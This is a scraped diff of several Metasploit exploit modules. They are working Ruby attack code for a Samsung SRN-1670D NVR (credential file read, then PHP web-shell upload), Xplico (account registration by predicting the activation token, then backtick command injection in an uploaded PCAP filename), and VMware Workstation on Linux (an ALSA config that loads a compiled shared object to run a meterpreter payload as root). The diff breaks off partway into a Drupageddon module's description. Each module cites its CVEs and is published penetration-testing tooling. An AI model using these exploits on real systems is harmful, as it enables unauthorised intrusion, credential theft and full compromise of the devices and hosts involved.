@ -0,0 +1,209 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'digest'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::PhpEXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samsung SRN-1670D Web Viewer Version 1.0.0.193 Arbitrary File Read and Upload',
|
||||
'Description' => %q{
|
||||
This module exploits an unrestricted file upload vulnerability in
|
||||
Web Viewer 1.0.0.193 on Samsung SRN-1670D devices. The network_ssl_upload.php file
|
||||
allows remote authenticated attackers to upload and execute arbitrary
|
||||
PHP code via a filename with a .php extension, which is then accessed via a
|
||||
direct request to the file in the upload/ directory.
|
||||
|
||||
To authenticate for this attack, one can obtain web-interface credentials
|
||||
in cleartext by leveraging the existing local file read vulnerability
|
||||
referenced by CVE-2015-8279, which allows remote attackers to read the
|
||||
web interface credentials by sending a request to:
|
||||
cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Omar Mezrag <omar.mezrag@realistic-security.com>', # @_0xFFFFFF
|
||||
'Realistic Security',
|
||||
'Algeria'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-16524' ],
|
||||
[ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
|
||||
[ 'CVE', '2015-8279' ],
|
||||
[ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Platform' => 'php',
|
||||
'Targets' =>
|
||||
[
|
||||
['Samsung SRN-1670D 1.0.0.193', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Mar 14 2017'
|
||||
))
|
||||
end
|
||||
|
||||
def check
|
||||
vprint_status('Checking version...')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => "/index",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
unless resp
|
||||
vprint_error('Connection timed out.')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
# File Version 1.0.0.193
|
||||
version = nil
|
||||
if resp && resp.code == 200 && resp.body.match(/Web Viewer for Samsung NVR/)
|
||||
if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
|
||||
version = $1
|
||||
if version == '1.0.0.193'
|
||||
vprint_good "Found vesrion: #{version}"
|
||||
return CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Obtaining credentails...')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => '/cslog_export.php',
|
||||
'method' => 'GET',
|
||||
'vars_get' =>
|
||||
{
|
||||
'path' => '/root/php_modules/lighttpd/sbin/userpw',
|
||||
'file' => 'foo'
|
||||
}
|
||||
})
|
||||
|
||||
unless resp
|
||||
print_error('Connection timed out.')
|
||||
return
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
|
||||
username = resp.body.split(':')[0]
|
||||
password = resp.body.split(':')[1].gsub("\n",'')
|
||||
print_good "Credentials obtained successfully: #{username}:#{password}"
|
||||
|
||||
data1 = Rex::Text.encode_base64("#{username}")
|
||||
data2 = Digest::SHA256.hexdigest("#{password}")
|
||||
|
||||
randfloat = Random.new
|
||||
data3 = randfloat.rand(0.9)
|
||||
data4 = data3
|
||||
|
||||
print_status('Logging...')
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => '/login',
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'data1' => data1,
|
||||
'data2' => data2,
|
||||
'data3' => data3,
|
||||
'data4' => data4
|
||||
},
|
||||
'headers' =>
|
||||
{
|
||||
'DNT' => '1',
|
||||
'Cookie' => 'IESEVEN=1'
|
||||
}
|
||||
})
|
||||
|
||||
unless resp
|
||||
print_error("Connection timed out.")
|
||||
return
|
||||
end
|
||||
|
||||
if resp && resp.code == 200 && resp.body !~ /ID incorrecte/ && resp.body =~ /setCookie\('NVR_DATA1/
|
||||
print_good('Authentication Succeeded')
|
||||
|
||||
nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
|
||||
nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
|
||||
nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
|
||||
nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
|
||||
nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
|
||||
nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
|
||||
nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/
|
||||
|
||||
cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"
|
||||
|
||||
payload_name = "#{rand_text_alpha(8)}.php"
|
||||
|
||||
print_status("Generating payload[ #{payload_name} ]...")
|
||||
|
||||
php_payload = get_write_exec_payload(unlink_self: true)
|
||||
|
||||
print_status('Uploading payload...')
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('2', nil, nil, 'form-data; name="is_apply"')
|
||||
data.add_part('1', nil, nil, 'form-data; name="isInstall"')
|
||||
data.add_part('0', nil, nil, 'form-data; name="isCertFlag"')
|
||||
data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"")
|
||||
post_data = data.to_s
|
||||
|
||||
resp = send_request_cgi({
|
||||
'uri' => normalize_uri('/network_ssl_upload.php'),
|
||||
'method' => 'POST',
|
||||
'vars_get' =>
|
||||
{
|
||||
'lang' => 'en'
|
||||
},
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'cookie' => cookie,
|
||||
'data' => post_data
|
||||
})
|
||||
|
||||
unless resp
|
||||
print_error('Connection timed out.')
|
||||
return
|
||||
end
|
||||
|
||||
if resp and resp.code == 200
|
||||
print_status('Executing payload...')
|
||||
upload_uri = normalize_uri("/upload/#{payload_name}")
|
||||
resp = send_request_cgi({
|
||||
'uri' => upload_uri,
|
||||
'method' => 'GET'
|
||||
}, 5)
|
||||
|
||||
unless resp
|
||||
print_error("Connection timed out.")
|
||||
return
|
||||
end
|
||||
|
||||
if resp and resp.code != 200
|
||||
print_error("Failed to upload")
|
||||
end
|
||||
else
|
||||
print_error("Failed to upload")
|
||||
end
|
||||
else
|
||||
print_error("Authentication failed")
|
||||
end
|
||||
else
|
||||
print_error "Error obtaining credentails"
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,359 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Xplico Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
|
||||
command under the context of the root user.
|
||||
|
||||
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
|
||||
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
|
||||
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
|
||||
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
|
||||
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
|
||||
|
||||
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
|
||||
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2017-16666'],
|
||||
['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
|
||||
['URL', 'https://www.xplico.org/archives/1538']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'RPORT' => 9876
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 252,
|
||||
'DisableNops' => true,
|
||||
'BadChars' => "\x2f\x22",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
|
||||
},
|
||||
},
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DisclosureDate' => 'Oct 29 2017',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
# There is no exact way to understand validity of vulnerability without registering new user as well as trigger the command injection.
|
||||
# which is not something we want to do for only check..!
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
|
||||
)
|
||||
if res && res.code == 302
|
||||
Exploit::CheckCode::Safe
|
||||
else
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
end
|
||||
|
||||
def initiate_session
|
||||
print_status('Initiating new session on server side')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
|
||||
)
|
||||
if res && res.code == 200
|
||||
res.get_cookies
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def register_user(username, password)
|
||||
# First thing first, we need to get csrf token from registration form.
|
||||
print_status('Registering a new user')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
|
||||
'cookie' => @cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
|
||||
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
|
||||
end
|
||||
|
||||
if csrf_token.nil? || fields.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
|
||||
end
|
||||
|
||||
# rand_mail_address sometimes generates buggy email address for this app. So we manually generate email address in here.
|
||||
email = ''
|
||||
email << rand_text_alpha_lower(rand(10)+4)
|
||||
email << '@'
|
||||
email << rand_text_alpha_lower(rand(10)+4)
|
||||
email << '.'
|
||||
email << rand_text_alpha_lower(rand(1)+2)
|
||||
|
||||
# Create user
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'_method' => 'POST',
|
||||
'data[_Token][key]' => csrf_token,
|
||||
'data[User][email]' => email,
|
||||
'data[User][username]' => username,
|
||||
'data[User][password]' => password,
|
||||
'data[_Token][fields]' => fields,
|
||||
'data[_Token][unlocked]' => '',
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 302
|
||||
print_good('New user successfully registered')
|
||||
print_status("Username: #{username}")
|
||||
print_status("Password: #{password}")
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Could not register new user')
|
||||
end
|
||||
|
||||
# Awesome. We have user. We need to activate it manually..!
|
||||
print_status('Calculating em_key code of the user')
|
||||
|
||||
unixtime = Time.parse(res.headers['Date']).to_i
|
||||
password_md5 = Rex::Text.md5(password)
|
||||
em_key = Rex::Text.md5(
|
||||
"#{email}#{password_md5}#{unixtime}"
|
||||
)
|
||||
print_status("Activating user with em_key = #{em_key}")
|
||||
|
||||
# We need to follow redirections. Even if we managed to find em_key.
|
||||
# It will redirect us to the login form. We need to see registration completed on final page.
|
||||
res = send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
|
||||
'cookie' => @cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body.include?('Registration Completed.')
|
||||
print_good('User successfully activated')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
|
||||
end
|
||||
end
|
||||
|
||||
def login(username, password)
|
||||
# yet another csrf token gathering.
|
||||
print_status('Authenticating with our activated new user')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
|
||||
'cookie' => @cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
|
||||
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
|
||||
end
|
||||
|
||||
if csrf_token.nil? || fields.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
|
||||
end
|
||||
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'_method' => 'POST',
|
||||
'data[_Token][key]' => csrf_token,
|
||||
'data[User][username]' => username,
|
||||
'data[User][password]' => password,
|
||||
'data[_Token][fields]' => fields,
|
||||
'data[_Token][unlocked]' => '',
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.body.include?('<a href="/pols">Cases</a>')
|
||||
print_good('Successfully authenticated')
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Unable to login.')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def create_new_case
|
||||
# We logged in. Not we need to create a new xplico case.
|
||||
print_status('Creating new case')
|
||||
pol_name = rand_text_alpha_lower(rand(4)+8)
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'_method' => 'POST',
|
||||
'data[Capture][Type]' => 0,
|
||||
'data[Pol][name]' => pol_name,
|
||||
'data[Pol][external_ref]' => '',
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.body.include?('The Case has been created')
|
||||
res.body.scan(/<a href="\/pols\/view\/([0-9]+)">/).flatten[0]
|
||||
else
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
def create_new_sol(pol_id)
|
||||
# Since we xplico case, it's time to create a "session" for this case.
|
||||
print_status('Creating new xplico session for pcap')
|
||||
|
||||
sol_name = rand_text_alpha_lower(rand(4)+8)
|
||||
# sols/add endpoint reads selected case id through session.
|
||||
# So we need to hit that end-point so we can insert pol_id into the current session data.
|
||||
send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
|
||||
'cookie' => @cookie,
|
||||
)
|
||||
|
||||
# Creating new session.
|
||||
res = send_request_cgi!(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
|
||||
'cookie' => @cookie,
|
||||
'vars_post' => {
|
||||
'_method' => 'POST',
|
||||
'data[Sol][name]' => sol_name,
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.body.include?('The Session has been created')
|
||||
res.body.scan(/<a href="\/sols\/view\/([0-9]+)">/).flatten[0]
|
||||
else
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def upload_pcap(sol_id)
|
||||
print_status('Uploading malformed PCAP file')
|
||||
# We are hitting this end-point so we can access sol_id through session on server-side.
|
||||
send_request_cgi!(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
|
||||
'cookie' => @cookie,
|
||||
)
|
||||
|
||||
# Reading malformed pcap files.
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
|
||||
fd = ::File.open( path, 'rb')
|
||||
pcap = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('POST', nil, nil, 'form-data; name="_method"')
|
||||
data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"`#{payload.encoded})`\"") # Yes back-tick injection!
|
||||
|
||||
# Uploading PCAP file.
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
|
||||
'cookie' => @cookie,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
)
|
||||
|
||||
if res && res.code == 302
|
||||
print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
|
||||
end
|
||||
|
||||
# We can not wait all the day long to have session.
|
||||
# So we are checking status of decoding process 5 times with sleep for a 1 second on each loop.
|
||||
is_job_done = nil
|
||||
counter = 0
|
||||
until session_created? || !is_job_done.nil? || counter == 5
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
|
||||
'cookie' => @cookie,
|
||||
)
|
||||
if res && res.body.include?('File uploaded, wait start decoding...')
|
||||
print_status('Parsing has started. Wait for parser to get the job done...')
|
||||
end
|
||||
if res && res.body.include?('DECODING')
|
||||
print_good('We are at PCAP decoding phase. Little bit more patience...')
|
||||
end
|
||||
# Tbh decoding process is not going to be finished as long as we have msf session.
|
||||
# We are not going to see this case if we are successful exploiting.
|
||||
if res && res.body.include?('DECODING COMPLETED')
|
||||
print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
|
||||
is_job_done = 1
|
||||
next
|
||||
end
|
||||
sleep(1)
|
||||
counter += 1
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
|
||||
end
|
||||
|
||||
# We need to access cookie from everywhere. Thus making it global variable.
|
||||
@cookie = initiate_session
|
||||
if @cookie.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
|
||||
end
|
||||
|
||||
# We only need to access username and password for login func. Let's leave them as a local variables.
|
||||
password = rand_text_alpha(32)
|
||||
username = rand_text_alpha_lower(rand(8)+8)
|
||||
register_user(username, password)
|
||||
login(username, password)
|
||||
|
||||
# We will need to have pol_id for creating new xplico session.
|
||||
pol_id = create_new_case
|
||||
if pol_id.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to create New Case.')
|
||||
end
|
||||
print_good("New Case successfully creted. Our pol_id = #{pol_id}")
|
||||
|
||||
# Create xplico session by using pol_id
|
||||
sol_id = create_new_sol(pol_id)
|
||||
if sol_id.nil?
|
||||
fail_with(Failure::Unknown, 'Unable to create New Sol.')
|
||||
end
|
||||
print_good("New Sols successfully creted. Our sol_id = #{sol_id}")
|
||||
|
||||
# Uploading malformed PCAP file. We are exploiting authenticated cmd inj in here.
|
||||
upload_pcap(sol_id)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,261 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'VMware Workstation ALSA Config File Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in VMware Workstation Pro and
|
||||
Player on Linux which allows users to escalate their privileges by
|
||||
using an ALSA configuration file to load and execute a shared object
|
||||
as root when launching a virtual machine with an attached sound card.
|
||||
|
||||
This module has been tested successfully on VMware Player version
|
||||
12.5.0 on Debian Linux.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-4915' ],
|
||||
[ 'EDB', '42045' ],
|
||||
[ 'BID', '98566' ],
|
||||
[ 'URL', 'https://gist.github.com/bcoles/cd26a831473088afafefc93641e184a9' ],
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2017-0009.html' ],
|
||||
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1142' ]
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Jann Horn', # Discovery and PoC
|
||||
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => 'May 22 2017',
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'Payload' => 'linux/x64/meterpreter_reverse_tcp',
|
||||
'WfsDelay' => 30,
|
||||
'PrependFork' => true
|
||||
},
|
||||
'DefaultTarget' => 1,
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Privileged' => true ))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def has_prereqs?
|
||||
vmplayer = cmd_exec 'which vmplayer'
|
||||
if vmplayer.include? 'vmplayer'
|
||||
vprint_good 'vmplayer is installed'
|
||||
else
|
||||
print_error 'vmplayer is not installed. Exploitation will fail.'
|
||||
return false
|
||||
end
|
||||
|
||||
gcc = cmd_exec 'which gcc'
|
||||
if gcc.include? 'gcc'
|
||||
vprint_good 'gcc is installed'
|
||||
else
|
||||
print_error 'gcc is not installed. Compiling will fail.'
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def check
|
||||
unless has_prereqs?
|
||||
print_error 'Target missing prerequisites'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
begin
|
||||
config = read_file '/etc/vmware/config'
|
||||
rescue
|
||||
config = ''
|
||||
end
|
||||
|
||||
if config =~ /player\.product\.version\s*=\s*"([\d\.]+)"/
|
||||
@version = Gem::Version.new $1.gsub(/\.$/, '')
|
||||
vprint_status "VMware is version #{@version}"
|
||||
else
|
||||
print_error "Could not determine VMware version."
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if @version < Gem::Version.new('12.5.6')
|
||||
print_good 'Target version is vulnerable'
|
||||
return CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
print_error 'Target version is not vulnerable'
|
||||
CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check == CheckCode::Safe
|
||||
print_error 'Target machine is not vulnerable'
|
||||
return
|
||||
end
|
||||
|
||||
@home_dir = cmd_exec 'echo ${HOME}'
|
||||
unless @home_dir
|
||||
print_error "Could not find user's home directory"
|
||||
return
|
||||
end
|
||||
@prefs_file = "#{@home_dir}/.vmware/preferences"
|
||||
|
||||
fname = ".#{rand_text_alphanumeric rand(10) + 5}"
|
||||
@base_dir = "#{datastore['WritableDir']}/#{fname}"
|
||||
cmd_exec "mkdir #{@base_dir}"
|
||||
|
||||
so = %Q^
|
||||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
|
||||
Original shared object code by jhorn
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <err.h>
|
||||
|
||||
extern char *program_invocation_short_name;
|
||||
|
||||
__attribute__((constructor)) void run(void) {
|
||||
uid_t ruid, euid, suid;
|
||||
if (getresuid(&ruid, &euid, &suid))
|
||||
err(1, "getresuid");
|
||||
if (ruid == 0 || euid == 0 || suid == 0) {
|
||||
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
|
||||
err(1, "setresxid");
|
||||
system("#{@base_dir}/#{fname}.elf");
|
||||
_exit(0);
|
||||
}
|
||||
}
|
||||
^
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.c"
|
||||
write_file "#{@base_dir}/#{fname}.c", so
|
||||
|
||||
vprint_status "Compiling #{@base_dir}/#{fname}.o"
|
||||
output = cmd_exec "gcc -fPIC -shared -o #{@base_dir}/#{fname}.so #{@base_dir}/#{fname}.c -Wall -ldl -std=gnu99"
|
||||
unless output == ''
|
||||
print_error "Compilation failed: #{output}"
|
||||
return
|
||||
end
|
||||
|
||||
vmx = %Q|
|
||||
.encoding = "UTF-8"
|
||||
config.version = "8"
|
||||
virtualHW.version = "8"
|
||||
scsi0.present = "FALSE"
|
||||
memsize = "4"
|
||||
ide0:0.present = "FALSE"
|
||||
sound.present = "TRUE"
|
||||
sound.fileName = "-1"
|
||||
sound.autodetect = "TRUE"
|
||||
vmci0.present = "FALSE"
|
||||
hpet0.present = "FALSE"
|
||||
displayName = "#{fname}"
|
||||
guestOS = "other"
|
||||
nvram = "#{fname}.nvram"
|
||||
virtualHW.productCompatibility = "hosted"
|
||||
gui.exitOnCLIHLT = "FALSE"
|
||||
powerType.powerOff = "soft"
|
||||
powerType.powerOn = "soft"
|
||||
powerType.suspend = "soft"
|
||||
powerType.reset = "soft"
|
||||
floppy0.present = "FALSE"
|
||||
monitor_control.disable_longmode = 1
|
||||
|
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.vmx"
|
||||
write_file "#{@base_dir}/#{fname}.vmx", vmx
|
||||
|
||||
vprint_status "Writing #{@base_dir}/#{fname}.elf"
|
||||
write_file "#{@base_dir}/#{fname}.elf", generate_payload_exe
|
||||
|
||||
vprint_status "Setting #{@base_dir}/#{fname}.elf executable"
|
||||
cmd_exec "chmod +x #{@base_dir}/#{fname}.elf"
|
||||
|
||||
asoundrc = %Q|
|
||||
hook_func.pulse_load_if_running {
|
||||
lib "#{@base_dir}/#{fname}.so"
|
||||
func "conf_pulse_hook_load_if_running"
|
||||
}
|
||||
|
|
||||
vprint_status "Writing #{@home_dir}/.asoundrc"
|
||||
write_file "#{@home_dir}/.asoundrc", asoundrc
|
||||
|
||||
vprint_status 'Disabling VMware hint popups'
|
||||
unless directory? "#{@home_dir}/.vmware"
|
||||
cmd_exec "mkdir #{@home_dir}/.vmware"
|
||||
@remove_prefs_dir = true
|
||||
end
|
||||
|
||||
if file? @prefs_file
|
||||
begin
|
||||
prefs = read_file @prefs_file
|
||||
rescue
|
||||
prefs = ''
|
||||
end
|
||||
end
|
||||
|
||||
if prefs.blank?
|
||||
prefs = ".encoding = \"UTF8\"\n"
|
||||
prefs << "pref.vmplayer.firstRunDismissedVersion = \"999\"\n"
|
||||
prefs << "hints.hideAll = \"TRUE\"\n"
|
||||
@remove_prefs_file = true
|
||||
elsif prefs =~ /hints\.hideAll/i
|
||||
prefs.gsub!(/hints\.hideAll.*$/i, 'hints.hideAll = "TRUE"')
|
||||
else
|
||||
prefs.sub!(/\n?\z/, "\nhints.hideAll = \"TRUE\"\n")
|
||||
end
|
||||
vprint_status "Writing #{@prefs_file}"
|
||||
write_file "#{@prefs_file}", prefs
|
||||
|
||||
print_status 'Launching VMware Player...'
|
||||
cmd_exec "vmplayer #{@base_dir}/#{fname}.vmx"
|
||||
end
|
||||
|
||||
def cleanup
|
||||
print_status "Removing #{@base_dir} directory"
|
||||
cmd_exec "rm '#{@base_dir}' -rf"
|
||||
|
||||
print_status "Removing #{@home_dir}/.asoundrc"
|
||||
cmd_exec "rm '#{@home_dir}/.asoundrc'"
|
||||
|
||||
if @remove_prefs_dir
|
||||
print_status "Removing #{@home_dir}/.vmware directory"
|
||||
cmd_exec "rm '#{@home_dir}/.vmware' -rf"
|
||||
elsif @remove_prefs_file
|
||||
print_status "Removing #{@prefs_file}"
|
||||
cmd_exec "rm '#{@prefs_file}' -rf"
|
||||
end
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# if we don't /bin/sh here, our payload times out
|
||||
session.shell_command_token '/bin/sh'
|
||||
super
|
||||
end
|
||||
end
|
|
@ -16,40 +16,155 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
|
||||
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
|
||||
in 7.32).
|
||||
|
||||
Two methods are available to trigger the PHP payload on the target:
|
||||
|
||||
- set TARGET 0:
|
||||
Form-cache PHP injection method (default).
|
||||
This uses the SQLi to upload a malicious form to Drupal's cache,
|
||||
then trigger the cache entry to execute the payload using a POP chain.
|
||||
|
||||
- set TARGET 1:
|
||||
User-post injection method.
|
||||
